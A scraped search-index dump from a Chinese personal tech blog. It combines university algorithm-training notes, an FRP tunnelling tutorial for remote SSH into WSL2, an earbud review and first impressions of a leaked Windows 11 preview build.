\u0026ldquo;No\u0026rdquo;。\n样例输入 text 复制代码 31 1-1 -12 -1 1 31 1-1 -12 -1 样例输出 text 复制代码 Yes 1 Yes 解题思路 有一个坑点，就是如果所有点本来就在一边，也是符合要求的，别的没什么好说的。\n15. 字符串反转3 个人难度评级：3\n问题描述 给出一个字符串，请将其每个单词反转后输出。\n输入形式 输入第一行为一个正整数N，表示测试用例数，接下来的N行，每行一个字符串。\n输出形式 输出N行，每行对应一个反转后的字符串。\n样例输入 text 复制代码 3olleh !dlrowm\u0026#39;I morf .unhI ekil .tae 1 3olleh !dlrowm\u0026#39;I morf .unhI ekil .tae 样例输出 text 复制代码 hello world!I\u0026#39;m from hnu.I like eat. 1 hello world!I\u0026#39;m from hnu.I like eat. 解题思路 这题蛋疼就蛋疼在数据5规模相当大，用C++ 的库函数似乎很容易在第5个点超时（没错我也超了）。据大佬说，写一个仅基于C的版本能够大幅度提升效率。如果不是难以预计的TLE（数据规模都没给），这个题并不是很难。\n16. n， 还是n 个人难度评级：2\n问题描述 输出 包含n或者是n的倍数的所有数\n输入形式 正整数m,n（0\u0026lt;m，n\u0026lt;1000000）\n输出形式 从小到大排列的不大于m的特殊正整数（包含n，或者是n的倍数）。\n样例输入1 text 复制代码 20 7 1 20 7 样例输出1 text 复制代码 7 14 17 1 7 14 17 样例输入2 text 复制代码 200 11 1 200 11 样例输出2 text 复制代码 11 22 33 44 55 66 77 88 99 110 111 112 113 114 115 116 117 118 119 121 132 143 154 165 176 187 198 1 11 22 33 44 55 66 77 88 99 110 111 112 113 114 115 116 117 118 119 121 132 143 154 165 176 187 198 样例说明 包含n的数可以考虑使用字符串查找解决\n解题思路 数据规模不大，倍数这个条件直接 % 就行。包含这个条件可以用字符串find成员函数处理。\n17. 字符串排序 个人难度评级：1\n问题描述 定义一个字符串的无序度为所有位置后面的字母比该位置的字母小的总数之和。比如 \u0026ldquo;DAABEC\u0026rsquo;\u0026lsquo;这个字符串的无序度是5，因为D后面有4个位置比它小（AABC），E后面有1个比它小（C），其它位置后面没有比自己小的。\u0026rdquo; AACEDGG \u0026ldquo;的无序度为1（E后面有一个D比它小）。\u0026rdquo; ZWQM \u0026quot; 的无序度为6，每个位置后面所有的字母都比它小。\n现在你的任务是给定一些字符串（只由大写字母组成），把他们按照无序度从小到大排序，如果无序度一样，那么就按照输入的相对顺序排序。\n输入形式 单组测试数据。\n第一行有两个整数n(0 \u0026lt; n \u0026lt;= 50) 和m (0 \u0026lt; m \u0026lt;= 100)，分别表示输入的字符串的长度和字符串的个数。\n接下来m行，每一行包含一个长度为n的字符串，只由大写字母组成。\n输出形式 输出m行，表示排序之后的字符串。\n样例输入 text 复制代码 10 6AACATGAAGGTTTTGGCCAATTTGGCCAAAGATCAGATTTCCCGGGGGGAATCGATGCAT 1 10 6AACATGAAGGTTTTGGCCAATTTGGCCAAAGATCAGATTTCCCGGGGGGAATCGATGCAT 样例输出 text 复制代码 CCCGGGGGGAAACATGAAGGGATCAGATTTATCGATGCATTTTTGGCCAATTTGGCCAAA 1 CCCGGGGGGAAACATGAAGGGATCAGATTTATCGATGCATTTTTGGCCAATTTGGCCAAA 解题思路 照着题目要求算无序度即可。我建议用pair类型分别存储字符串和无序度两个键值，然后用stable_sort自定义排序函数排序，以保持原有输入顺序。没必要排序的时候再算无序度，会很慢。\n18. 三角形的面积 个人难度评级：1\n问题描述 已知三角形的三个顶点的坐标，求该三角形的面积。\n输入形式 有多组测试数据。\n每组测试数据占一行，6个用空格分隔开的浮点数：x1,y1,x2,y2,x3,y3。表示三角形三个顶点的坐标。\n一行6个0（形如0 0 0 0 0 0），表示输入结束，并且不需要处理。\n40% 的顶点坐标 -10 ≤ xi,yi≤ 10；i=1,2,3\n30% 的顶点坐标 -100 ≤ xi,yi≤ 100；i=1,2,3\n20% 的顶点坐标 -1000 ≤ xi,yi≤ 1000；i=1,2,3\n10% 的顶点坐标 -10000 ≤ xi,yi≤ 10000；i=1,2,3\n输出形式 对于每组测试数据，输出对应三角形面积，保留小数点后6位。\n样例输入 text 复制代码 1 2 3 4 -2 8 0 0 0 1 1 0 0 0 0 0 0 0 1 2 3 1 2 3 4 -2 8 0 0 0 1 1 0 0 0 0 0 0 0 样例输出 text 复制代码 9.000000 0.500000 1 2 9.000000 0.500000 Tips：如果使用浮点数，请注意精度问题，推荐使用double\n解题思路 数论题，如果会了海伦公式，很简单。\n19. 循环数 来源：POJ 1047\n个人难度评级：3\n问题描述 循环数是n位长度的整数，当乘以从1到n的任何整数时，产生原始数字的 “循环”。也就是说，如果考虑最后一个数字之后的数字“绕” 回到第一个数字，两个数字中的数字序列将是相同的，尽管它们可能从不同的位置开始。例如，数字142857是循环的，如下表所示： 142857 *1 = 142857\n142857 *2 = 285714\n142857 *3 = 428571\n142857 *4 = 571428\n142857 *5 = 714285\n142857 *6 = 857142 编写一个程序来确定数字是否是循环数。\n输入形式 输入一个数，长度在2到60位之间 (请注意，前面的零不应该被删除，它们被认为是确定n的大小和计数的一部分，因此，“01” 是一个两位数的数字，与 “1” 是一个一位数的数字不同。) 。\n输出形式 对于每个输入，输出一行 (Yes或No) 标识它是否是循环数。 样例输入 text 复制代码 142857 1 142857 样例输出 text 复制代码 Yes 1 Yes 解题思路 主要的麻烦是如何判断一个数和另一个是可以绕回来，以及如何处理60位数字的乘法问题。\n事实上，如果一个序列可以分成两部分，调换顺序之后与另一个序列相等（或者进一步地，两个部分都是另一个序列的子串），那就可以” 绕回来 “。我枚举了分界线，使用std::string的substr成员函数分割字符串，并使用上文提到的find成员函数判断子串。\n如此长数字的乘法，属于高精乘低精的问题，可以仿照竖式计算的方法计算。\n20. 电能消耗 来源：Codeforces 10A\n个人难度评级：1\n问题描述 汤姆对他最喜欢的笔记本电脑的耗电量很感兴趣。他的笔记本电脑有三种模式。在正常模式下，笔记本电脑每分钟消耗P1瓦。在汤姆最后一次移动鼠标或触摸键盘后的T1分钟，屏幕保护程序启动，每分钟的功耗变化为P2瓦。最后，从屏幕保护程序启动到T2分钟后，笔记本电脑切换到 “睡眠” 模式，每分钟消耗P3瓦。 当笔记本电脑处于第二或第三模式时，如果汤姆移动鼠标或触摸键盘，则切换到第一种 (正常) 模式。 汤姆使用笔记本电脑工作的时间可以分为n个时间间期 [l1, r1]、[l2, r2]、\u0026hellip;、[ln, rn]。在每个间期，汤姆连续移动鼠标并按下键盘。 在间期之间，汤姆什么都不做。请找出在间期 [l1, rn]笔记本电脑的总耗电量。\n输入形式 第一行包含6个整数n、P1、P2、P3、T1、T2(1\u0026lt;=n\u0026lt;=100，0\u0026lt;=P1、P2、P3\u0026lt;=100，1\u0026lt;=T1、T2\u0026lt;=60)。接下来的n行包含了汤姆工作的期间，第i行是两个用空格分隔的整数li和ri(0\u0026lt;=li\u0026lt;=ri\u0026lt;=1440, 当i\u0026lt;n时ri\u0026lt;li+1）, 表示工作期间的开始时间和结束时间。\n输出形式 输出总的耗电量。\n样例输入 text 复制代码 2 8 4 2 5 1020 3050 100 1 2 8 4 2 5 1020 3050 100 样例输出 text 复制代码 570 1 570 解题思路 如果要说有难点的话，就是L1和Rn的选取存储。我的办法是将第一组特殊处理，具体的可以直接看我代码。\n21. 计算校验码 个人难度评级：3\n问题描述 传送一个B（B≤16）进制的数值N时，最后加上一个一位（B进制的）校验码，使得N加上校验位后能被B-1整除。比如十进制的数值12310，其校验码就是3，因为十进制数值123310能被9整除。16进制的数7816，其校验码为0，因为16进制的78016是15的倍数。超过十进制后，用字母a表示10，字母b表示11，字母c表示12，字母d表示13，字母e表示14，字母f表示15。\n告诉你进制B，以及一个B进制的正整数N，要求你计算正整数N在B进制下的校验码。\n输入形式 输入第一行正整数t (10 ≤ n ≤ 100)，表示有多少组测试数据。\n后面有t行，每行两个正整数B，N（2≤ B≤16），中间用一个空格隔开，B是10进制整数，N用B进制形式表示。测试数据保证没有非法的B进制数N（也即N中每一位都是在0到B-1之间，没有前导0）。\n40% 的测试数据N的位数L 1 ≤ L≤ 10；\n30% 的测试数据N的位数L 1 ≤ L≤ 102；\n20% 的测试数据N的位数L 1 ≤ L≤ 103；\n10% 的测试数据N的位数L 1 ≤ L≤ 104；\n输出形式 对于每组测试数据，输出一位占一行：正整数N在B进制下的校验码。（如果校验码可以为B-1，也可以为0，输出0）。\n样例输入 text 复制代码 4 10 123 16 78 16 1234321 12 ab 1 2 3 4 5 4 10 123 16 78 16 1234321 12 ab 样例输出 text 复制代码 3 0 e 1 1 2 3 4 3 0 e 1 样例说明 第一行的4表示有4组测试数据，下面四行，每行一组测试数据。\n第一组测试数据10进制数123最后添加检验码3，10进制数1233是9（=10-1）的倍数\n第二组测试数据16进制数78最后添加检验码0，16进制数780是15（=16-1）的倍数\n第三组测试数据16进制数1234321最后添加检验码e（=14），16进制数1234321e是15（=16-1）的倍数\n第四组测试数据12进制数ab最后添加检验码1，12进制数ab1是11（12-1）的倍数\n【Tips】\nB进制的数能被B-1整除，当且仅当各位数字和能被B-1整除。\n第一组测试数据10进制数123最后添加检验码3，10进制数1233各位数字和是9，是9的倍数\n第二组测试数据16进制数78最后添加检验码0，16进制数780各位数字和是15，是15的倍数\n第三组测试数据16进制数1234321最后添加检验码e，16进制数1234321e各位数字和是30，是15的倍数\n第四组测试数据12进制数ab最后添加检验码1，12进制数ab1各位数字和是22，是11的倍数\n解题思路 获取校验码的过程，本质上是一个高精度除法，大数除小数。先将每一位用十进制整数表示（即使转换完大于10也算作一位），然后再使用竖式计算的方式算出余数，要求将其乘以10再加上校验码，除以进制 - 1能够整除。这样可以枚举从0到n-1的整数作校验码。\n每一组数据完成后，一定要清空按位存储原数字的数组，否则会遗留除法计算结果，影响下一组数据计算！\n不建议使用itoa函数将数字转换为二进制字符串，更推荐自己实现（反正只需要转一位，即将整型校验码转为char），因为它是GNU C++ 标准的函数，不被许多ISO C++ 的编译器支持。\n此外，朋友提供了一种数论的办法：将整个数的每一位相加，再加上一个0到n-2的数，如果能够被n整除，则加上的这个数就是校验码。\n","date":"July 5, 2021","matchCount":0,"permalink":"/post/hnu-csp-training-1/","preview":"","title":"湖南大学 2021 程序设计训练笔记 - 作业训练 1"},{"content":"谁都不想天天带着厚重的游戏本出去，更何况某些高性能的服务器或者台式机等设备根本带不出去，于是有了远程桌面和SSH之类功能，前者在远程设备中连接另一台Windows电脑的桌面，后者则访问另一台电脑的终端命令行。\n但是，中国的网络环境大家都懂的，大部分电脑都没有公网IP，对于既有移动需求又有远程桌面需求的电脑来说，IP也时常会变换。能不能有一个有固定公网IP的云主机，来作为中转，将流量转到被连接的主机上呢？\n于是我们有了FRP。FRP可以进行内网穿透，具体来讲，就是我们上面所说的事情。\nfatedier/frp\nFRP由两部分组成，分别是服务端和客户端，前者是有公网IP的那台机器，后者是由于各种原因需要被穿透的那台机器。\n在看下面的内容之前，建议先了解一下 端口号 的概念。\n搭建FRP服务端 我们需要一台有固定公网IP的机器来搭建FRP，常为云主机。建议选择中国大陆网络连接比较顺畅的服务器，以保证较低的延迟。\n首先从 FRP release 页面下载适合你服务端机器的包，一般是amd64，Linux还是Windows依你服务器端的系统决定。解压，然后将它传到你的服务器上；如果你对命令行足够熟悉，也可以直接用 wget 命令在服务器上下载解压。\n然后，进入FRP的路径，修改frps.ini，基础的结构如下：\nini 复制代码 [common] bind_port = xxxx # 服务端与客户端之间通信所用的端口 dashboard_port = xxxx # 网页控制台的端口号，你没有域名的话可以使用 “服务器 ip: 这个端口号” 来访问控制台 token = xxxxx # 客户端连接到服务端的密码 dashboard_user = xxxx # 网页控制台的用户名 dashboard_pwd = xxxx # 网页控制台的密码 vhost_http_port = xxxx # HTTP 协议端口 vhost_https_port = xxxx # HTTPS 协议端口 1 2 3 4 5 6 7 8 [common] bind_port = xxxx # 服务端与客户端之间通信所用的端口 dashboard_port = xxxx # 网页控制台的端口号，你没有域名的话可以使用 “服务器 ip: 这个端口号” 来访问控制台 token = xxxxx # 客户端连接到服务端的密码 dashboard_user = xxxx # 网页控制台的用户名 dashboard_pwd = xxxx # 网页控制台的密码 vhost_http_port = xxxx # HTTP 协议端口 vhost_https_port = xxxx # HTTPS 协议端口 server_port是服务端与客户端通信使用的端口，而下一部分提到的remote_port是外界连接至服务端的哪个端口，相当于连接到客户端的local_port。\n按需设置即可，注意端口不要冲突了。这些数字可能都会用到，也别忘了。完成之后，输入命令 ./frps -s frps.ini 来启动服务端。推荐使用nohup命令来实现后台运行：nohup ./frps -s frps.ini $。不会有人用Windows Server吧？\n搭建完成之后，访问 “你的服务器IP: 控制台端口号” 来访问网页控制台，并用先前设置的控制台用户名和密码登录，这里你就可以看到你的FRP服务器信息了。\n此外，你也可以使用 Sakura Frp，它是预先搭建好的一系列FRP服务器，你可以免费使用，但它的带宽等有一定的限制，如果想追求更好的体验，最好还是自行使用国内的服务器搭建。\n搭建FRP客户端 由客户端决定要和FRP服务端建立几个连接，各个连接分别转发哪个端口，以及应该如何转发。\n在将任何东西暴露于公网之前，我建议：\n做好适当的防护措施，防止攻击； 先在局域网下测试连接通过，排除客户端本身设置问题造成的麻烦。 仍然是从上面的release页面下载对应于你客户端机器系统的压缩包，客户端和服务端是同包的。解压之后编辑frpc.ini，基本结构如下：\nini 复制代码 [common] server_addr = xxx # 你服务端的地址，可以用域名或者 IP 地址，这里不加端口号。 server_port = xxx # 服务端与客户端通信所用的端口号 token = xxx # 客户端连接到服务端的密码 [xxx] # 这一套配置文件的名称，可以自定义，一套配置文件建立一个连接，一个 ini 可以有多套 type = tcp # 通信所用的协议，支持 TCP、UDP、HTTP、HTTPS 等协议的转发，要与实际通信协议配套 local_ip = 127.0.0.1 # 本地需要暴露到互联网上的 IP 地址，理论上也可以是同一个局域网的，本机的话就是 127.0.0.1 或者 localhost local_port = xxx # 本地需要暴露到互联网上的端口号 remote_port = xxx # 服务端可以将什么端口映射为你本地的端口 use_compression = xxx # 是否启用压缩，值为 true 或者 false，启用则占用两边 CPU 资源 use_encryption = xxx # 是否加密，同上 1 2 3 4 5 6 7 8 9 10 11 12 [common] server_addr = xxx # 你服务端的地址，可以用域名或者 IP 地址，这里不加端口号。 server_port = xxx # 服务端与客户端通信所用的端口号 token = xxx # 客户端连接到服务端的密码 [xxx] # 这一套配置文件的名称，可以自定义，一套配置文件建立一个连接，一个 ini 可以有多套 type = tcp # 通信所用的协议，支持 TCP、UDP、HTTP、HTTPS 等协议的转发，要与实际通信协议配套 local_ip = 127.0.0.1 # 本地需要暴露到互联网上的 IP 地址，理论上也可以是同一个局域网的，本机的话就是 127.0.0.1 或者 localhost local_port = xxx # 本地需要暴露到互联网上的端口号 remote_port = xxx # 服务端可以将什么端口映射为你本地的端口 use_compression = xxx # 是否启用压缩，值为 true 或者 false，启用则占用两边 CPU 资源 use_encryption = xxx # 是否加密，同上 更详细的配置可以参考文末附录的官方文档。然后输入命令 ./frpc -c frpc.ini，就可以启动客户端服务了。\n你可以打开上述的服务端网页控制台，来检查一下连接是否成功。\nWindows系统的特别提示 鉴于很多人使用的是Windows系统，这里特别提醒一下：需要使用cmd或者PowerShell等终端来启动，不能直接双击frpc.exe，并且命令窗口关闭之后就会停止运行。\n那么怎么去除碍眼的命令行，还让它一直后台运行呢？少数派的文章中提出，可以写一个batch脚本，来实现这个效果：\nbat 复制代码 @echo off if \u0026#34;%1\u0026#34; == \u0026#34;h\u0026#34; goto begin mshta vbscript:createobject(\u0026#34;wscript.shell\u0026#34;).run(\u0026#34;\u0026#34;\u0026#34;%~nx0\u0026#34;\u0026#34;h\u0026#34;,0)(window.close)\u0026amp;\u0026amp;exit :begin cd X:\\xxx rem 这个路径改为 frpc.exe 的位置 frpc -c frpc.ini exit 1 2 3 4 5 6 7 @echo off if \u0026#34;%1\u0026#34; == \u0026#34;h\u0026#34; goto begin mshta vbscript:createobject(\u0026#34;wscript.shell\u0026#34;).run(\u0026#34;\u0026#34;\u0026#34;%~nx0\u0026#34;\u0026#34;h\u0026#34;,0)(window.close)\u0026amp;\u0026amp;exit :begin cd X:\\xxx rem 这个路径改为 frpc.exe 的位置 frpc -c frpc.ini exit 如果你没有Visual Studio Code等代码编辑器，你也可以将这段内容复制到记事本里，另存为一个文本文档，然后将文件扩展名改成. bat，是一样的效果。\n现在，双击这个bat文件，就可以启动后台服务了；在任务管理器中找到frpc.exe，结束它，就能将它关闭。你还可以使用 “计划任务” 功能实现FRP的开机启动。至于Linux用户，这些步骤大同小异，请参考上一节的nohup命令。\n远程连接WSL 2子系统 正如我开头提到的，相信很多人都拥有高性能但不太好移动的计算机，而为了方便日常生产生活，这台计算机常装有Windows系统。有些工作实在是没必要用远程桌面完成，只需要SSH连接终端就可以了，这时使用SSH连接WSL子系统内的Linux bash终端，就可以随时轻易利用强大的算力了。下面以Windows 10 21H1上的Ubuntu 20.04.2 LTS为例。\n需要特别注意的是，WSL2系统本身是并不能直接SSH连接的。要解决这个问题，首先要重装一个 “正常的”OpenSSH”：\nbash 复制代码 sudo apt-get remove openssh-server sudo apt-get install openssh-server 1 2 sudo apt-get remove openssh-server sudo apt-get install openssh-server 然后还需要编辑一下sshd_config文件，使其允许使用密码接入SSH，当然如果你能够把所有设备的公钥全都加进去，倒也可以不用用户名和密码…… 毕竟这是要暴露到公网上的东西，我甚至更推荐使用RSA公钥验证。\n如果你需要密码登录，则用sudo提权后使用文本编辑器编辑 /etc/ssh/sshd_config 文件。我这里推荐使用Visual Studio Code（前面加code或者code-insiders，需要Windows宿主系统上装有vscode），或者GNU Nano（前面加nano），当然如果你是大佬也可以用Vim之类的工具。打开之后，将PasswordAuthentication后面的no改为yes即可。\n然后下载Linux AMD64版本的FRP包，修改frpc.ini如下：\nini 复制代码 [common] # 这个和上面同理 server_addr = xxx server_port = xxx token = xxx [WSL_ssh] # 这个名称可以自定义 type = tcp # SSH 协议建立在 TCP 的基础上，所以填 TCP local_ip = 127.0.0.1 local_port = 22 # 本地 SSH 端口默认为 22，当然你可以改，也建议改一下，记得同步修改 SSH 配置 remote_port = xxxx # 服务端映射的端口 1 2 3 4 5 6 7 8 9 10 [common] # 这个和上面同理 server_addr = xxx server_port = xxx token = xxx [WSL_ssh] # 这个名称可以自定义 type = tcp # SSH 协议建立在 TCP 的基础上，所以填 TCP local_ip = 127.0.0.1 local_port = 22 # 本地 SSH 端口默认为 22，当然你可以改，也建议改一下，记得同步修改 SSH 配置 remote_port = xxxx # 服务端映射的端口 运行服务，你就可以远程连接到WSL 2了，注意端口号的变化。使用命令 ssh -oPort=remote_port user@server_addr 来连接客户端的SSH。\nref.\n使用 frp 进行内网穿透 - 少数派 (sspai.com)\n文档 | frp (gofrp.org)\n使用 ssh 工具连接到 ubuntu on windows（wsl） - 简书 (jianshu.com)\n","date":"July 1, 2021","matchCount":0,"permalink":"/post/frp-remote-access/","preview":"","title":"用 FRP 内网穿透，随时随地远程连接"},{"content":"很长时间以来，我对TWS都是拒绝的，很大程度上是因为TWS糟糕的续航、糟糕的音质、低价位得不到的降噪，所以我之前一直都选择的是狗圈，比如魅族EP52、一加云耳2和OPPO Enco Q1。所以说，这里说 “我的需求”，指的是主动降噪、舒适度、音质、续航（按重要性降序排列）。\n之后我因上水课看慕课的需要，入手了Redmi AirDots 3。客观的来说，对于一款TWS它做得似乎还是不错的，但因为缺少主动降噪，始终没有成为我的主力耳机（主要在用那条OPPO）。前两天看发布会偶然发现AirDots 3 Pro首发299元但却有各种旗舰TWS的功能，甚至还有期待已久的双设备连接，于是考虑入手，我发现这可能是我做得非常正确的选择。\n我体验时使用的是小米10 Pro的开发版，蓝牙5.1、不支持LC3，弹窗已经整合进系统设置。耳机固件基于Day 0更新，版本号1.0.8.8。\n续航与充电 买来第一天，重度使用，几乎全程开启自适应降噪或者通透模式，大约消耗了耳机盒45% 的电量。耳机独立使用时，打开自适应降噪模式，大概能够续航4小时。有点短，但是够用，充电盒为耳机充电也够快。\n双耳消耗电量并不是同步的，一个循环下来大概能有15% 的消耗差距。据称络达芯片的 “双主耳” 连接策略是不停切换左耳右耳，与真正的左右耳有所区别。\n很让我没想到的是它支持无线充电，这样我就可以使用手机的无线反充功能为它充电，可谓是非常方便。从57% 到72%，用时7分20秒，充电盒底部轻微发热。\n值得注意的是，充电盒指示灯为单色，所以你在为充电盒充电时难以获知充满了没，或者已经充了多少。\n降噪与通透模式 299价位的主动降噪TWS耳机，放到以前简直想都不敢想。但是今天，红米、Realme和漫步者等有一定规模的厂商都将主动降噪功能杀到了这个价位。而这款耳机的主动降噪和通透模式，是最让我惊喜的点。它有很多地方仍然不完美，但我已经很满意了。\n降噪 仍然是降低频多，降高频少，但强度仍然十分令人满意。在打开空调的教室中打开降噪，能够消除绝大部分空调电机声音；在地铁中打开降噪，能够保留一点报站声音而去除绝大部分嘈杂的无用声音（歪打正着？）；甚至在强制强降噪模式下，能盖住一部分外放音乐的声音。\n强降噪模式下有明显可感知的耳压，而另外两档则感知不是很强。平常开自适应降噪，即可把绝大部分噪音降到可接受的水平。在外部声音突然变大时可以感知到明显的降噪档位切换，而在声音变小一两分钟之后才会回退到上个档位。\n单耳不能开启降噪，会自动退回通透模式。\n降噪开启时会出现一定的底噪，这应该是降噪耳机的通病。大小不易察觉，除非在非常安静的环境下打开降噪（真是闲得慌）。\n通透模式 通透模式，能够一边听歌一边不影响听外面的声音，很美好是吗？不是的。\n首先，你放着音乐根本不可能听清楚人说话；其次，在标准通透模式下，人声既不突出也比较模糊；即使你切换到人声增强模式，也会伴有连带的增强高频噪音的副作用。\n通透模式存在的意义，是你可以在近距离聊天的时候不摘耳机。我甚至不建议你在骑车的时候佩戴耳机，因为麦克风的拾音距离较近，并不能忠实传达远处的声音，使你不能提前对远处的事物作出反应。\n在你单耳佩戴时，通透模式也可以一定程度上减弱佩戴的不适感。\n但即使是这样，我也已经很满意了。\n降风噪 有内置的自动降风噪算法，但很蛋疼的是，它并没有那么动态。在风没有大到一定程度的时候，它并不会自动开启抗风噪；而且降风噪开启的时候，降噪和通透似乎就被弱化了。风速在一定范围内的时候，甚至可能出现降风噪算法的左右横跳，不过我基本没遇到过这种情况，也还好啦。\n音质 两个字形容：能听。\n内置了高音增强、低音增强、人声增强和均衡四种EQ预设，我一般使用高音增强档，比较符合我的口味，甚至我认为这才是均衡档。高中低频的比例，个人认为有云耳2的味道了，很好听。\n但音质的优点到这里就结束了。声场极其狭窄，声音干涩，比白开水还白开水。\n但好在不开降噪基本没有底噪，所以我给这款耳机的音质评价是 “能听”。如果你打算用它来欣赏音乐，那趁早歇着吧。\n这款耳机的音量偏小，相比其他耳机需要多开30% 左右音量才能获得实际差不多的声音大小。\n外观、做工与佩戴 如果你曾听说过Google Pixel Buds，那么你也许会觉得AirDots 3 Pro充电盒的外观有点熟悉。算了我直说吧，有抄袭的嫌疑。不过，覆盖类肤质涂层的充电盒，在手里盘起来可谓是非常舒服。\n充电盒盖严丝合缝，不会推一推就晃动。能够单手掰开，虽然戴上还是得双手就是了。开盖有反磁。底部的USB-C竟然有金属包边，这让我实在是没想到。\n不过别的地方不太像，我不知道还有人能说它像哪个友商的产品了。\n耳机与充电触点的连接可能有些问题，有时候放回去之后并不能检测到充电，但晃一晃就没事了。\n似乎有少数单侧耳机直接废掉（连不上、没声音、不检测）的案例，我也遇到了，送修之后发回了一个新的。\n佩戴是另一个惊喜，好久没有一个戴起来如此舒服而不会掉的耳机了。但仍然有人称戴不住，毕竟人与人不能一概而论。\n连接性与软件配套 这款耳机与MIUI系统的配合还算不错，既支持新版MIUI的系统自带蓝牙管理，又支持通用的小爱同学App管理。在有系统蓝牙管理的情况下，小爱基本不会主动介入。但是既然有两套系统，就不免很混乱，它也不例外。\n我在 AirDots 3 体验 中曾经痛批的巨大的小爱弹窗终于有了改变，现在通知栏指示缩小到了正常通知大小，但只有电量指示，长按常驻通知也无法展开并控制降噪，必须进入完整的控制页面才可以控制。如果长按常驻通知能够展开控制降噪模式切换，那必是极好的。\n弹窗需要两三秒才能识别，在手机和电脑同时在附近的时候，电脑会先连接，从开盖到连接上手机，有时多达六七秒。这里有一个小bug，有时开盖会提示” 这不是您的AirDots 3 Pro“，点击连接提示需要重置，但等两三秒又可以正常连接了。\n这个控制界面，做进了MIUI Bluetooth界面，但只能说没完全做。四种调音曲线的切换等功能，必须打开小爱 - 蓝牙设备 - AirDots 3 Pro好几步才能达到，而双设备连接等功能，虽然也需要调用小爱同学，但做进了 “更多设置” 选项，可以快捷从MIUI蓝牙跳转。\n双设备的连接是非常惊艳的一个特性。它的蓝牙可以同时连接两个设备，这样走回寝室的时候听个歌，回到寝室打开电脑看个视频，都非常方便。但两个设备不能同时播放声音，即使能，声音也不能混起来。在一台设备开始播放内容时，另一台设备会被暂停，但来自新设备的声音并不能同步开始播放，具体来说就是一只耳朵先有声音，另一只后有。\n连接的稳定性尚可，断连并未遇到。\n","date":"June 30, 2021","matchCount":0,"permalink":"/post/redmi-airdots-3-pro-review/","preview":"","title":"Redmi AirDots 3 Pro - 299 元，满足了我对 TWS 的所有需求"},{"content":"6月15日晚间，疑似百度贴吧一个人放出了自称为Windows 11的截图，然后今早一觉醒来竟然出现了Dev版本的ISO镜像。当然是直接装进虚拟机啊。\n提醒：此Windows内部版本仅作尝鲜之用，不建议日用，更不建议长期使用！ 使用时建议退出Microsoft账号，防止可能存在的追查！\n下面所指的Windows 10，指的都是build 19043。\n安装引导 从ISO启动画面仍然是从Windows Vista沿用至今的画面，值得注意的是这次安装时没有中文可选，而且安装速度似乎得到了大幅提升。\n但是此后，安装引导画面就焕然一新了。\n首先映入眼帘的…… 是一个方形的Windows logo。\n这个logo很明显已经经过了Fluent Design重新设计，因而具有了一丢丢光影效果，但这未免也太像巨硬四色logo了吧？\n然后是开机引导OOBE环节，灵动的Fluent Design取代了以前的大色块，看起来更加的活泼。\n最后则是传统的坐和放宽环节，这次的背景不再是满屏渐变颜色，取而代之的是灯光一样的光效。这里的速度似乎也比之前快了不少，确实只有a few minutes。\n外观交互 Windows 11最直观的改变应该就是外观的体验了。这次的外观改进，是近几年来最彻底的一次，将日常使用的地方基本都Fluent化了，即使没啥好改的也改了改，起码让你感受到它改了。\n桌面、任务栏与通知中心 任务栏基本重做，更加的果里果气（划掉）最近任务居中了，而开始、搜索和最近任务则换了个图标继续出现。值得注意的是，这次新增了Widgets（小部件）按钮，这个东西后面讲。\n任务栏中间的开始、搜索、最近任务和小部件在点击的时候都会出现图标动态动画，而所有图标在点击打开时都会出现一个先缩小再放大的按压动画，最小化时则会向下弹一小段距离再弹回，终于也有了视觉反馈。\n打开新程序时，任务栏上左边的图标都会不同步地往左移，然后新打开窗口的图标出现一个下落的动画。\n在任务栏上右键，现在只会出现任务栏设置，不会出现Windows 10中的繁多选项。而这些设置，必须在Windows徽标上右键，才可以触发；这就是以前Win+X触发的菜单。这里，以前选项名后面所带的字母似乎已经消失，因此我们也不能再使用键盘快捷键打开里面的选项。\nWin+X的右键菜单加入了高斯模糊效果，但似乎并不是所有地方都有…… 或者说，我并没有发现第二个地方有高斯模糊。\n它的深色模式适配似乎更漂亮。\n任务栏中的窗口是否打开，现在也可由图标下方的短线长短和颜色来区分。\n还有一个非常小的细节：任务栏的日历窗口，时间使用了新的字体。\n话说，默认的桌面壁纸似乎还挺好看？\n桌面其实并没有什么大改，如果硬要说有改动，就是桌面右键菜单有了圆角。\n通知中心…… 也加了圆角。还有新绘制的简笔画Fluent图标。别的似乎并没有什么大改动？好吧，换图标本来就是对微软来说的大改动。\n窗口 新版的窗口加入了大量的圆角元素（是的，又是圆角），还增加了文件夹按钮之间的间距，这使得触摸操作误触的可能性更加小了。\n窗口的开关，过渡动画相比Windows 10更加流畅舒服。从任务栏的呼出和最小化，将淡入淡出的效果基本隐去，从而更好地表现出窗体运动的轨迹；而关闭窗口操作，将淡出效果的持续时间变长，动画更加明显。实际上说白了还是以前那套动画效果，但现在这么一微调看起来就是舒适多了。\n字体渲染似乎也迎来了一定的改进，可以对比一下下文中cinebench的截图中的英文文字。\n系统默认的许多控件重做，按钮、复选框等控件更加果里果气，而滚动条…… 这又是从哪儿来的创意啊喂！\n以及…… 还是没对齐。\n开始菜单 先亮明观点：我不喜欢新版开始菜单。\n旧的磁贴多么漂亮实用，微软咔一下，手起刀落，直接砍掉，变成了毫无特色的图标栏。\n“所有应用” 页面的效率也限制为一列，在大屏上的效率简直低到令人发指。\nPinned和Recommended分别是固定在开始菜单的图标和提供的应用建议。相比Windows 10最大可扩展至整屏的开始屏幕，Windows 11的小不点开始菜单明显更加局促；一页可放置的图标变少，图标大小不可变，也使得人们不能像以前一样根据使用频率，来调整磁贴的大小，使它们更显眼；能够将图标充满整个磁贴，从而使用突出的主题色先大致确定图标位置的优势，也一去不复返了。关于如何自定义磁贴，你可以参考 我写的这篇文章。\n新版Windows搜索，我觉得则没那么容易评价。如果你从开始菜单通过直接输入关键字召唤它，它经常会丢掉开始的几个字符，比如我直接在开始菜单输入Windows 11，转为搜索后就吞掉了最前面的2个字母，而在Windows 10上，这个问题是不存在的。\n不过界面似乎有所改观，这个我觉得可以给好评。\n图标 别看我只写了这么几个字，图标在我看来却是Windows 11最震撼人心的更新，对，就是最震撼人心的。因为我在以前，从来没有见过微软在换了整体设计风格之后，图标能够立刻跟上更换；甚至对于Office，换Fluent风格图标已经是大更新了。\n从前面的几节中，你大概已经初见端倪，文件夹图标已经焕然一新。这次基本将所有地方都Fluent化，提供了比较一致的视觉体验。\n新功能 小部件（Widgets） 点击Widget按钮，左边弹出一个Microsoft Timeline栏，里面显示了一些新闻Feed流，和本地天气等信息，比较像Windows 10近些天更新的任务栏右下角资讯功能。\n我比较怂，把微软账号给退了，所以就不能使用小部件功能了，也就莫得截图了。\nWindows Terminal与开发 Windows 11这次终于将Windows 